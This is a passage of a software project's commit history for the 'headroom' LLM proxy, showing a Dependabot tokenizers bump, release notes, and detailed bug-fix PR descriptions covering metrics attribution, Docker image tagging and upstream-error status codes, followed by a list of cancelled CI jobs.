<td align="right">−3%</td>
</tr>
<tr>
<td><code>BPE Train (big)</code></td>
<td align="right">1.01 s</td>
<td align="right">988 ms</td>
<td align="right">−2%</td>
</tr>
</tbody>
</table>
<p>The BPE per-thread cache PR (<a
href="https://redirect.github.com/huggingface/tokenizers/issues/2028">#2028</a>)
shows much larger wins on highly-parallel workloads (+47–62% at 88+
threads on a server box, per the PR's own measurements on Vera).
Single-thread batch numbers above are flat or slightly improved because
cache-hit overhead was already low without contention.</p>
<h3>Llama-3 encode</h3>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/huggingface/tokenizers/commit/7f1623b90b5adfb9bc327d4c3468d2f70bbce262"><code>7f1623b</code></a>
Bump version to 0.23.1</li>
<li><a
href="https://github.com/huggingface/tokenizers/commit/bbe43ad73d8fc8932b9d0e657ddee3cd70c649a4"><code>bbe43ad</code></a>
ci: release workflow fixes (node + python) (<a
href="https://redirect.github.com/huggingface/tokenizers/issues/2043">#2043</a>)</li>
<li><a
href="https://github.com/huggingface/tokenizers/commit/ab0c5d8fc13eb1c5001d9c06806635e2b5a42e9f"><code>ab0c5d8</code></a>
Fix node release (<a
href="https://redirect.github.com/huggingface/tokenizers/issues/2034">#2034</a>)</li>
<li><a
href="https://github.com/huggingface/tokenizers/commit/decd8e07dad15f296c0adc2bc3a560f62d3de2eb"><code>decd8e0</code></a>
bindings/python: free-threaded Python (3.14t) support (<a
href="https://redirect.github.com/huggingface/tokenizers/issues/2041">#2041</a>)</li>
<li><a
href="https://github.com/huggingface/tokenizers/commit/3992692d483bf3177219b52cb101b1bb055c18e6"><code>3992692</code></a>
update for release (<a
href="https://redirect.github.com/huggingface/tokenizers/issues/2033">#2033</a>)</li>
<li><a
href="https://github.com/huggingface/tokenizers/commit/bcdd25b97fcd78549903082ecf3ddd87d42c456b"><code>bcdd25b</code></a>
BPE cache: per-thread read-through cache to avoid RwLock atomics on hits
(<a
href="https://redirect.github.com/huggingface/tokenizers/issues/2028">#2028</a>)</li>
<li><a
href="https://github.com/huggingface/tokenizers/commit/618eb383f43e207139eb5cdb9bca17796b5e9bd7"><code>618eb38</code></a>
Bump follow-redirects in /tokenizers/examples/unstable_wasm/www (<a
href="https://redirect.github.com/huggingface/tokenizers/issues/2024">#2024</a>)</li>
<li><a
href="https://github.com/huggingface/tokenizers/commit/b6b1688bef2e87efc91af18edf7ac38b4d2dfbe6"><code>b6b1688</code></a>
chore: bump doc-builder SHA for PR upload workflow (<a
href="https://redirect.github.com/huggingface/tokenizers/issues/2025">#2025</a>)</li>
<li><a
href="https://github.com/huggingface/tokenizers/commit/19015d6b44aa3896626de5092e4171aed1b56d5b"><code>19015d6</code></a>
fix: use uvx --with cairosvg instead of uv pip install --system (<a
href="https://redirect.github.com/huggingface/tokenizers/issues/2021">#2021</a>)</li>
<li><a
href="https://github.com/huggingface/tokenizers/commit/efbcc68e321c364c8f9541f1c93a158df54d7da4"><code>efbcc68</code></a>
Ci benchmarks (<a
href="https://redirect.github.com/huggingface/tokenizers/issues/2019">#2019</a>)</li>
<li>Additional commits viewable in <a
href="https://github.com/huggingface/tokenizers/compare/v0.22.2...v0.23.1">compare
view</a></li>
</ul>
</details>
<br />


[![Dependabot compatibility
score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=tokenizers&package-manager=cargo&previous-version=0.22.2&new-version=0.23.1)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)


</details>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-08-20 20:38:54 -05:00
JD Davis 37faf2f247 chore: release 0.36.1 (#3152)
## Description

Release 0.36.1, generated by Release Please, containing the security
fixes from #2207 (WEB-01–07). This updates the changelog and keeps
Python, TypeScript SDK, plugin package, marketplace, server, and release
metadata versions aligned at 0.36.1.

## Type of Change

- [x] Release / version metadata

## Changes Made

- Updated the release manifest and generated changelog for 0.36.1.
- Synchronized `pyproject.toml`, TypeScript SDK, OpenClaw, OpenCode,
agent-hook plugin, marketplace, server, and release metadata versions.
- Included the 0.36.1 changelog entry for the security assessment fixes
merged in #2207.

## Testing

- [x] CI and release validation pass

### Test Output

All current required checks are complete and passing, including version
sync, package builds, wheel smoke imports, security scans, Python test
shards, native wrapper checks, and devcontainer validation.

## Real Behavior Proof

- Environment: GitHub Actions release and CI workflows for commit
`52c0a0c61dce0af81af3ff73a34efe8b451501cb`.
- Observed result: all generated version-bearing files report 0.36.1;
build and smoke-import jobs produced and validated the release
artifacts.
- Not exercised: publishing jobs are intentionally skipped for a pull
request and run only after the release receives final human approval and
is merged.

## Runtime Rollout Safety

- Rollout-managed features: none; this PR packages already-merged
behavior.
- Stable/default behavior changed: no additional runtime behavior beyond
the included, already-reviewed security fixes.
- Kill switch / disable path: not applicable to generated release
metadata.
- Qualification impact: release artifact construction and smoke-import
validation are green.
- Rollback path: do not merge the release PR, or revert the release
commit before publishing.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Release Notes

### Bug Fixes

- **security:** address u9up assessment findings (WEB-01–07) (#2207)

This PR was generated with Release Please and then its description was
expanded to document review and qualification evidence. It still
requires final human review; no publishing or merge has been performed.

---------

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
v0.36.1
2026-08-20 17:20:18 -07:00
Tejas Chopra 81fe9d5345 fix(metrics): attribute tool-schema savings per model, not just compression (#3155)
## Description

Reported against 0.36.0 (VS Code + Copilot + Claude Code): the per-model
breakdown disagreed with the headline printed four lines above it.

```
Tokens saved: 625,277
  · messages       36,071
  · tool schemas  589,206
Per-Model Breakdown
  <a>: 35,907 tokens saved
  <b>:      0 tokens saved
  <c>:    164 tokens saved
  <d>:      0 tokens saved
```

The rows sum to **36,071** — the *messages* line exactly. All 589,206
tokens of tool-schema deferral, 94% of the headline, had no row to land
in, so every tool-heavy model reported "0 tokens saved" while real
dollars were credited to it.

Deferral is disjoint from message compression by construction: deferred
schemas never enter the message token counts, so they move neither
`tokens_saved` nor `tokens_sent`. The headline, the PERF line, and the
savings ledger (#2795) all already fold the two together. Three
per-model surfaces did not.

Closes #

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- **`perf/analyzer.py`** — the per-model loop summed `tokens_saved`
while its own headline summed `tokens_saved + tool_saved`. Now uses the
same all-layers construction (`headline_before = before + tool_saved`),
and prints a `· messages / · tool schemas` split line only when there is
a split to show.
- **`proxy/savings_tracker.py`** — added a `tool_tokens_saved` bucket to
`_empty_by_model_entry()`, normalization, and
`_record_by_model_locked()`; `record_request()` gained a
`tool_search_saved` parameter. `_by_model_snapshot_locked()` ranks and
computes `savings_percent` off the combined figure and exposes
`headline_tokens_saved`.
- **`proxy/prometheus_metrics.py`** — **the seam.** `record_request`
already accepted `tool_search_saved` and already folded it into the
per-model *dollars*, but never passed it to
`savings_tracker.record_request`. Tokens and money therefore disagreed
on the same row.
- **`proxy/cost.py`** (feeds the dashboard's "Per-Model Token Savings"
table) — added `_tool_saved_by_model`, a `tool_schema_saved` kwarg, and
`compression_tokens_saved` / `tool_tokens_saved` alongside a combined
`tokens_saved`. The `stats()` loop now iterates the **union** of both
dicts: keying off compression alone dropped a deferral-only model from
the table entirely rather than merely under-reporting it.
- **`proxy/outcome.py`** — forwards the figure it already computed for
`metrics.record_request` to `cost_tracker.record_tokens`.
- **`dashboard.html`** — the "Tokens Saved" cell gains a `title` showing
the compression/deferral split.

Design notes:
- Components stay separately addressable rather than widening an
existing field's meaning in place, so persisted state remains readable
by older readers.
- Percentages use the all-layers numerator over `saved + sent` —
deferred schemas were never in `sent`, so that is still the pre-Headroom
volume.
- `CostTracker.stats()["savings_usd"]` is deliberately **not** widened:
deferral is already priced by `SavingsTracker`, and this tracker's
dollars feed budget enforcement, where counting it twice would
double-book the saving.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [ ] Manual testing performed

### Test Output

```text
$ pytest tests/test_per_model_tool_savings.py -q
11 passed in 0.94s

# Same file against pre-fix code (git stash), proving the tests bite:
5 failed, 1 passed
  FAILED test_per_model_rows_reconcile_with_the_headline
  FAILED test_a_tool_only_model_no_longer_reads_zero
  FAILED test_tracker_attributes_deferral_to_the_model
  FAILED test_tracker_default_is_unchanged_without_deferral
  FAILED test_state_written_before_this_field_existed_still_loads
(the one that passes pre-fix is the "compression-only model is unchanged" guard)

$ pytest tests/ -q          # this branch
3 failed, 11374 passed, 587 skipped in 343.55s

$ pytest tests/ -q          # clean origin/main, same machine
3 failed, 11364 passed, 587 skipped in 352.64s

Identical 3 failures on both — pre-existing and environmental, not regressions:
  test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
  test_release_workflows.py::test_no_native_tls_in_wheel_build_tree   (FileNotFoundError: 'cargo')
  test_graceful_shutdown.py::test_run_server_installs_cancelled_error_filter
    (whole-suite ordering flake; tests/test_graceful_shutdown.py passes 11/11 in isolation on this branch)

$ ruff check headroom/
All checks passed!

$ mypy headroom/proxy/cost.py headroom/proxy/savings_tracker.py \
       headroom/proxy/prometheus_metrics.py headroom/proxy/outcome.py \
       headroom/perf/analyzer.py
Success: no issues found in 5 source files
```

## Real Behavior Proof

- Environment: macOS, Python 3.12.13, this branch rebased on
`origin/main` @ `1f96dabc`.
- Exact command / steps: reproduced the reported shape as a unit test —
three models with 35,907 / 0 / 164 message savings and 400,000 / 189,206
/ 0 deferral, then rendered `format_report`.
- Observed result: headline `Tokens saved: 625,277` unchanged; rows now
read `435,907` / `189,206` / `164` and sum to the headline. The seam
test drives the real `PrometheusMetrics.record_request` and asserts the
tracker's `by_model` entry ends up at `tokens_saved=400,
tool_tokens_saved=54,000, headline_tokens_saved=54,400`.
- Not tested: no live proxy run against a real Copilot/Claude Code
session; the arithmetic is pinned at the four code seams instead. The
dashboard `title` tooltip is markup-only and not covered by a rendering
test.

## Runtime Rollout Safety

- Rollout-managed feature(s): none — this is reporting arithmetic, not a
request-path behavior.
- Minimum rollout channel: n/a.
- Stable/default behavior changed: yes, displayed per-model token
savings and percentages increase to include tool-schema deferral. No
request is treated differently.
- Kill switch / disable path: n/a. Components remain separately readable
(`compression_tokens_saved` / `tool_tokens_saved`) if a consumer wants
the old message-only figure.
- Unsafe override required: none.
- Qualification impact: none — `savings_usd` and budget enforcement are
unchanged by design.
- Rollback path: revert the commit; `tool_tokens_saved` in persisted
state is then simply ignored by the older reader.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-20 11:54:02 -07:00
Tejas Chopra bf651c3dc1 fix(docker): give :latest exactly one writer (#3154)
## Description

Closes #3150. `ghcr.io/headroomlabs-ai/headroom:latest` resolved to the
distroless `code-slim` build, whose `import onnxruntime` segfaults on
arm64. The proxy imports onnxruntime at startup in cache mode, so the
container never bound its port and `headroom deploy` crash-looped (exit
139) on Apple Silicon.

@ricwo's report is exceptionally good — it isolates the base image with
a copy-`site-packages`-onto-`debian:trixie-slim` experiment, and
explicitly retracts an earlier wrong theory about the `cpuid_info` line.
I verified the tagging half independently against the live registry:

```
latest            sha256:6b34905489e3...   <- identical
0.36.0-code-slim  sha256:6b34905489e3...   <- identical
0.36.0            sha256:bb8e77d01b54...
```

**Root cause, proven from the job log rather than inferred.**
`docker/metadata-action` defaults to `latest=auto`, which appends a bare
`latest` for any semver release — and its own log line reads
`suffixLatest=false`, meaning the per-tag `suffix=` that keeps every
other tag variant-scoped never reaches it. All eight variant cells
therefore emitted `:latest`, and the last to finish won. From the 0.36.0
`code-slim` cell:

```
latest=auto
suffixLatest=false
tags: [..."ghcr.io/headroomlabs-ai/headroom:code-slim",
           "ghcr.io/headroomlabs-ai/headroom:latest"]
pushing sha256:fbcbb68... to ghcr.io/headroomlabs-ai/headroom:latest
```

It landed on `code-slim` by scheduling luck. Any of the eight could have
won on any release.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- **`flavor: latest=false`** on the `docker-manifest` metadata-action.
Stops the tag being generated at all, leaving the root-cell promotion
step as the single writer of `:latest`.
- **A runtime guard** in `Create multi-arch manifest`: if a suffixed
variant reaches the push carrying a bare `latest`, the job fails instead
of publishing. `VARIANT_NAME` is passed via `env:` rather than spliced
inline.
- **A test that encodes the missing half of the contract.**
`test_docker_latest_promotion_is_owned_by_root_manifest_cell` already
existed and passed throughout — it asserted the *intended* writer was
the root cell but never the *absence of unintended ones*. The new test
asserts exclusivity: `latest=false` is set, no tag rule reintroduces
`value=latest`, and the guard runs before anything is pushed.

## Testing

- [x] Unit tests pass (`pytest`)

### Test Output

```text
tests/test_release_workflows.py   48 passed, 1 skipped, 1 failed

The failure is test_no_native_tls_in_wheel_build_tree:
  FileNotFoundError: [Errno 2] No such file or directory: 'cargo'
Pre-existing and environmental — cargo is not installed on this machine;
it fails identically on a clean main checkout.

ruff check: All checks passed
ruff format --check: 1 file already formatted
YAML parses; flavor='latest=false', env keys ['IMAGE','DIGEST_DIR','VARIANT_NAME'].
```

## Real Behavior Proof

- Environment: macOS (darwin 25.4.0), worktree off `main`. Live registry
queried anonymously via the GHCR token endpoint.
- Exact command / steps: (1) resolved `latest`, `0.36.0` and all four
variant tags to manifest digests directly from
`ghcr.io/v2/.../manifests/*` to confirm the aliasing; (2) pulled the
`docker-manifest (code-slim)` job log from the 0.36.0 release run to see
which tags that cell actually pushed; (3) applied the fix and ran the
workflow test suite; (4) **removed `latest=false` again and re-ran the
new test** to confirm it reproduces the bug.
- Observed result: `:latest` and `:0.36.0-code-slim` share digest
`sha256:6b34905489e3...` while `:0.36.0` is `sha256:bb8e77d01b54...`,
exactly as reported. The code-slim job log shows `latest=auto` /
`suffixLatest=false` and `pushing ... to
ghcr.io/headroomlabs-ai/headroom:latest`. With the fix removed the new
test fails on `assert 'latest=false' in ''`; with it restored, it
passes.
- Not tested: I could not exercise the arm64 segfault or a real
multi-arch push from here — no ghcr write credential and no arm64
runner. The tagging fix is verified at the config layer plus the
registry evidence above; the end-to-end proof is the re-run described
below.

## Runtime Rollout Safety

- Rollout-managed feature(s): None.
- Minimum rollout channel: n/a
- Stable/default behavior changed: Yes, and that is the fix — `:latest`
will track the plain Debian-based build instead of whichever variant
cell happened to finish last.
- Kill switch / disable path: n/a (CI tagging policy).
- Unsafe override required: No.
- Qualification impact: A variant cell that would publish a bare
`latest` now fails the Docker job loudly rather than silently repointing
the default tag.
- Rollback path: Revert the commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Additional Notes

**The live `:latest` is still wrong until the images are re-tagged.**
Merging this fixes future releases but does not touch the registry. Once
merged, run `docker.yml` via `workflow_dispatch` with `version=0.36.0`
to rebuild and repoint `:latest` at the plain build. I don't hold a
`write:packages` credential, so that step needs a maintainer.

**Not fixed here, and it outlives this PR:** the distroless arm64
segfault itself. After this change `:latest` points at the Debian build
that works, but `0.36.0-slim` and `0.36.0-code-slim` remain broken on
arm64 for anyone selecting them explicitly. @ricwo's evidence points
squarely at the distroless base — same wheel, same numpy 2.5.2, same
Python 3.13.5, works on `debian:trixie-slim` and segfaults on
distroless. That deserves its own issue; the two failures are
independent and this one is a release-tagging bug, exactly as the report
says.

Related but separate, from an earlier audit of this same file: the four
bare variants set `RUNTIME_USER = "root"` in `docker-bake.hcl` while
`Dockerfile:162` defaults to `nonroot`, and the `runtime-default`
(nonroot) bake target is referenced by the docs but by no workflow.
Worth its own change.

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
2026-08-20 11:45:59 -07:00
Tejas Chopra 1f96dabc19 fix(security): address u9up assessment findings (WEB-01–07) (#2207)
Hardens client-selected upstreams, memory identity resolution, downloaded binary integrity, telemetry import, Docker defaults, Neo4j credentials, and archive extraction. Refreshes the branch against current main and preserves newer same-origin and loopback protections.
2026-08-20 09:02:44 -05:00
Serge ARADJ a3d9424de9 fix(proxy): return 502, not 200, when upstream connect retries are exhausted (#3083)
## Description

When every connect retry to the upstream API fails,
`_stream_response_inner` synthesizes its own SSE error response (added
in #1639, so an h2 `StreamReset` wouldn't surface as an unhandled 502).
It was built without a `status_code`, so Starlette defaulted it to
**200**.

A 200 carrying a lone `event: error` frame and no `message_start` is
indistinguishable, to every Anthropic/OpenAI SDK, from a successful
stream that produced no events. Claude Code reports:

```
API Error: API returned an empty or malformed response (HTTP 200)
 - check for a proxy or gateway intercepting the request
```

The client also cannot recover, because 200 is not a retryable status.

**It does not self-heal.** Compression fails open on timeout, so the
proxy forwards the full uncompressed body; the client retries, re-sends
the same oversized payload, hits the same transport failure, and gets
another 200. The session is stuck until the client is pointed away from
the proxy.

Related — same *symptom*, different root cause, so this closes none of
them: #3040, #3055, #3019, #2952 (CCR buffered-stream conversion),
#3071, #3017. Worth noting that #3040 ("first messages succeed, fails
after several turns", closed `NOT_PLANNED`) matches this failure's shape
exactly.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [x] Breaking change (fix or feature that would cause existing
functionality to change)
- [x] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

Marked breaking because the status code on this path changes 200 to 502.
See **Runtime Rollout Safety**.

## Changes Made

- `handlers/streaming.py` — the synthesized transport-error response now
returns **502**. The structured SSE body is unchanged for clients that
read it. No body byte has been forwarded at that point, so the status
line is still ours to set.
- `prometheus_metrics.py` — new
`headroom_upstream_connection_errors_total{provider}`. This path
forwards no upstream status, so there was nothing to attribute the
failure to in `/metrics`; it survived only as a log line. Mirrors
`record_compression_failed` and takes the same `_obs_counter_lock`.
- `server.py` — `HEADROOM_LOG_LEVEL` for uvicorn's level, previously
hardcoded to `"warning"` with no env var and no CLI flag. Default
unchanged. An unrecognized value warns and falls back rather than
raising (uvicorn raises `KeyError` on unknown levels).
- `docs/content/docs/proxy.mdx` — documents the new env var in the
Observability table.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

`test_stream_reset_exhaustion_yields_sse_error_not_crash` asserted the
SSE body but never the status — which is how the 200 survived. Added a
test that pins the status specifically, a happy-path guard, and coverage
for the counter and the env-var resolver.

### Test Output

```text
$ python -m pytest tests/test_h2_stream_reset_retry.py tests/test_prometheus_obs_counters.py tests/test_uvicorn_log_level_env.py -q
29 passed in 5.26s

$ python -m ruff check .
All checks passed!

$ python -m ruff format --check .
1506 files already formatted

$ python -m mypy headroom/proxy/handlers/streaming.py headroom/proxy/prometheus_metrics.py headroom/proxy/server.py
Success: no issues found in 3 source files

# Fails before the fix (status_code=502 line removed, nothing else changed):
$ python -m pytest tests/test_h2_stream_reset_retry.py -k status_is_not_200
    assert result.status_code == 502
E   assert 200 == 502
FAILED tests/test_h2_stream_reset_retry.py::test_stream_reset_exhaustion_status_is_not_200
1 failed, 5 deselected in 1.28s
```

Broader regression run (181 passed): `test_h2_stream_reset_retry`,
`test_prometheus_obs_counters`, `test_uvicorn_log_level_env`,
`test_prometheus_label_escaping`, `test_observability_metrics`,
`test_prometheus_stage_timing_concurrency`,
`test_proxy_streaming_ratelimit_headers`, `test_proxy_retry_429`,
`test_proxy_byte_faithful_forwarding`, `test_ws_http_fallback`,
`test_mid_turn_steering`, `test_proxy_anthropic_cache_stability`.

## Real Behavior Proof

- Environment: Windows 11, Python 3.13.15, headroom @ this branch.
Genuine `create_app()` FastAPI app under real uvicorn — no mocks, no
TestClient. Upstream pinned to `http://127.0.0.1:59999` (a closed port),
so every connect attempt is a real TCP refusal, producing a real
`httpx.ConnectError` (an `httpx.TransportError`) into the branch under
test. `retry_max_attempts=2`.
- Exact command / steps: boot the real app with
`HEADROOM_LOG_LEVEL=info` and
`ProxyConfig(anthropic_api_url="http://127.0.0.1:59999")`, POST a
`stream:true` request to `/v1/messages`, then scrape `/metrics`.
Verbatim commands below.
- Observed result: `HTTP_STATUS=502` (previously 200), structured SSE
error body intact,
`headroom_upstream_connection_errors_total{provider="anthropic"} 1`, and
a uvicorn access line present only because `HEADROOM_LOG_LEVEL=info` was
honored. Verbatim output below.
- Not tested: the h2 `StreamReset` variant specifically — reproduced via
`ConnectError`, a sibling `httpx.TransportError` travelling the
identical code path (the existing `test_stream_reset_exhaustion_*` tests
cover `RemoteProtocolError` at unit level). Not exercised against the
OpenAI, Gemini, or Bedrock streaming handlers, which have their own
error paths. No load or concurrency testing.

Commands run after the patch:

```bash
# boot the real app with a dead upstream and the new env var set
HEADROOM_LOG_LEVEL=info python run_proxy_proof.py   # ProxyConfig(anthropic_api_url="http://127.0.0.1:59999")

curl -s -o resp.txt -w "HTTP_STATUS=%{http_code}\ncontent_type=%{content_type}\n" \
  http://127.0.0.1:8799/v1/messages \
  -H "content-type: application/json" \
  -H "x-api-key: proof-key" \
  -H "anthropic-version: 2023-06-01" \
  -d @request.json    # {"model":"claude-opus-5","max_tokens":64,"stream":true,"messages":[...]}
```

After-fix evidence:

```text
PROOF: HEADROOM_LOG_LEVEL='info' -> uvicorn log_level='info'
PROOF: upstream pinned to http://127.0.0.1:59999 (closed port)

HTTP_STATUS=502
content_type=text/event-stream; charset=utf-8

event: error
data: {"type": "error", "error": {"type": "connection_error", "message": "Failed to connect to upstream API: All connection attempts failed"}}
```

```text
$ curl -s http://127.0.0.1:8799/metrics | grep upstream_connection_errors
# HELP headroom_upstream_connection_errors_total Exhausted-retries upstream transport failures by provider; the proxy answered 502 itself because no upstream response arrived
# TYPE headroom_upstream_connection_errors_total counter
headroom_upstream_connection_errors_total{provider="anthropic"} 1
```

```text
# uvicorn access log — present only because HEADROOM_LOG_LEVEL=info was honored:
INFO:     127.0.0.1:62472 - "POST /v1/messages HTTP/1.1" 502 Bad Gateway
INFO:     127.0.0.1:62479 - "GET /metrics HTTP/1.1" 200 OK
```

All three changes are exercised end to end: the status is 502, the
structured body survives, the counter increments, and the env var takes
effect.

Separately, this ran against a real deployment: the fix is live on a
self-hosted proxy at `0.35.1-alpha.3` (Azure Container Apps, Cloudflare
in front), where the original HTTP 200 was first observed against
`0.35.1-alpha.1`.

## Runtime Rollout Safety

- Rollout-managed feature(s): none — unconditional bug fix, no flag.
- Minimum rollout channel: n/a — ships with the change.
- Stable/default behavior changed: yes. This path returns 502 instead of
200. `HEADROOM_LOG_LEVEL` and the new counter both default to current
behavior (`warning`; the counter is absent from `/metrics` until the
first occurrence).
- Kill switch / disable path: none. Happy to add an env guard if you
would prefer it staged, though a 200 on this path is never correct.
- Unsafe override required: no.
- Qualification impact: any client treating the synthesized 200 as
success now sees a 5xx. That is the fix — such a client was silently
accepting a truncated response. Retry-on-5xx logic in the Anthropic and
OpenAI SDKs will now retry a transient transport failure, which is the
intended behavior.
- Rollback path: revert the commit; single and self-contained.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] I have made corresponding changes to the documentation
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` — it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Screenshots (if applicable)

N/A — terminal output above.

## Additional Notes

**Scope.** Three changes in one PR, against the "one logical change"
guidance. They share a single root cause: this bug was only findable by
reading `/metrics`, because the failing path emitted no status, no
counter, and (see below) no usable log line. The counter and the env var
are the observability that should have made it a five-minute diagnosis
instead of a forensic exercise. Happy to split the `HEADROOM_LOG_LEVEL`
change into its own PR if you would rather keep the fix minimal — just
say so.

**Related defect, filed separately as #3087.** While producing the proof
above I found that the proxy's own `logger.error("Connection error to
upstream API: ...")` never reaches stdout: that run produced **zero**
`headroom.proxy` logger lines, only uvicorn's own. Root cause is
`_setup_file_logging()` setting `propagate = False` on the `headroom`
logger (`helpers.py:1536`), which sends every application record to
`~/.headroom/logs/proxy.log` and nowhere else — invisible in any
container, where stdout is the log channel. That is precisely why this
PR adds a counter rather than trusting a log line. Not fixed here: the
right remedy is a maintainer call, so it is written up in #3087 with a
repro rather than folded into this PR.

**No dependency changes.**

The dead-upstream harness used for the proof above is ~25 lines
(`ProxyConfig(anthropic_api_url="http://127.0.0.1:59999")` +
`uvicorn.run(create_app(config))`); happy to contribute it as an e2e
test if that is useful.

Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-20 06:32:30 -07:00
JD Davis b88b9078d8 chore: release 0.36.0 (#3067)
rust / rust-changes (push) Has been cancelled
rust / test (ubuntu) (push) Has been cancelled
rust / simulator e2e (macos-latest) (push) Has been cancelled
rust / simulator e2e (ubuntu-latest) (push) Has been cancelled
rust / simulator e2e (windows-latest) (push) Has been cancelled
rust / wheels (aarch64-apple-darwin) (push) Has been cancelled
rust / wheels (x86_64-unknown-linux-gnu) (push) Has been cancelled
rust / wheels (x86_64-apple-darwin) (push) Has been cancelled
rust / audit (push) Has been cancelled
rust / parity (push) Has been cancelled
CI / changes (push) Has been cancelled
CI / commitlint (push) Has been cancelled
Dev Containers / validate (.devcontainer/devcontainer.json, default) (push) Has been cancelled
Dev Containers / validate (.devcontainer/memory-stack/devcontainer.json, memory-stack) (push) Has been cancelled
Dev Containers / validate-worktree (push) Has been cancelled
Docker / docker-build (map[name:amd64 platform:linux/amd64 runs_on:ubuntu-24.04], map[bake_target:runtime name:]) (push) Has been cancelled
Docker / docker-build (map[name:amd64 platform:linux/amd64 runs_on:ubuntu-24.04], map[bake_target:runtime-code name:code]) (push) Has been cancelled
Docker / docker-build (map[name:amd64 platform:linux/amd64 runs_on:ubuntu-24.04], map[bake_target:runtime-code-nonroot name:code-nonroot]) (push) Has been cancelled
Docker / docker-build (map[name:amd64 platform:linux/amd64 runs_on:ubuntu-24.04], map[bake_target:runtime-code-slim name:code-slim]) (push) Has been cancelled
Docker / docker-build (map[name:amd64 platform:linux/amd64 runs_on:ubuntu-24.04], map[bake_target:runtime-code-slim-nonroot name:code-slim-nonroot]) (push) Has been cancelled
Docker / docker-build (map[name:amd64 platform:linux/amd64 runs_on:ubuntu-24.04], map[bake_target:runtime-nonroot name:nonroot]) (push) Has been cancelled
Docker / docker-build (map[name:amd64 platform:linux/amd64 runs_on:ubuntu-24.04], map[bake_target:runtime-slim name:slim]) (push) Has been cancelled
Docker / docker-build (map[name:amd64 platform:linux/amd64 runs_on:ubuntu-24.04], map[bake_target:runtime-slim-nonroot name:slim-nonroot]) (push) Has been cancelled
Docker / docker-build (map[name:arm64 platform:linux/arm64 runs_on:ubuntu-24.04-arm], map[bake_target:runtime name:]) (push) Has been cancelled
Docker / docker-build (map[name:arm64 platform:linux/arm64 runs_on:ubuntu-24.04-arm], map[bake_target:runtime-code name:code]) (push) Has been cancelled
Docker / docker-build (map[name:arm64 platform:linux/arm64 runs_on:ubuntu-24.04-arm], map[bake_target:runtime-code-nonroot name:code-nonroot]) (push) Has been cancelled
Docker / docker-build (map[name:arm64 platform:linux/arm64 runs_on:ubuntu-24.04-arm], map[bake_target:runtime-code-slim name:code-slim]) (push) Has been cancelled
Docker / docker-build (map[name:arm64 platform:linux/arm64 runs_on:ubuntu-24.04-arm], map[bake_target:runtime-code-slim-nonroot name:code-slim-nonroot]) (push) Has been cancelled
Docker / docker-build (map[name:arm64 platform:linux/arm64 runs_on:ubuntu-24.04-arm], map[bake_target:runtime-nonroot name:nonroot]) (push) Has been cancelled
Docker / docker-build (map[name:arm64 platform:linux/arm64 runs_on:ubuntu-24.04-arm], map[bake_target:runtime-slim name:slim]) (push) Has been cancelled
Docker / docker-build (map[name:arm64 platform:linux/arm64 runs_on:ubuntu-24.04-arm], map[bake_target:runtime-slim-nonroot name:slim-nonroot]) (push) Has been cancelled
Release Please / release-please (push) Has been cancelled
Init E2E / docker-init-e2e (push) Has been cancelled
Init Native E2E / init-native (macos-latest, claude) (push) Has been cancelled
Init Native E2E / init-native (ubuntu-latest, claude) (push) Has been cancelled
Init Native E2E / init-native (ubuntu-latest, codex) (push) Has been cancelled
Init Native E2E / init-native (ubuntu-latest, copilot) (push) Has been cancelled
Init Native E2E / init-native (macos-latest, codex) (push) Has been cancelled
Init Native E2E / init-native (macos-latest, copilot) (push) Has been cancelled
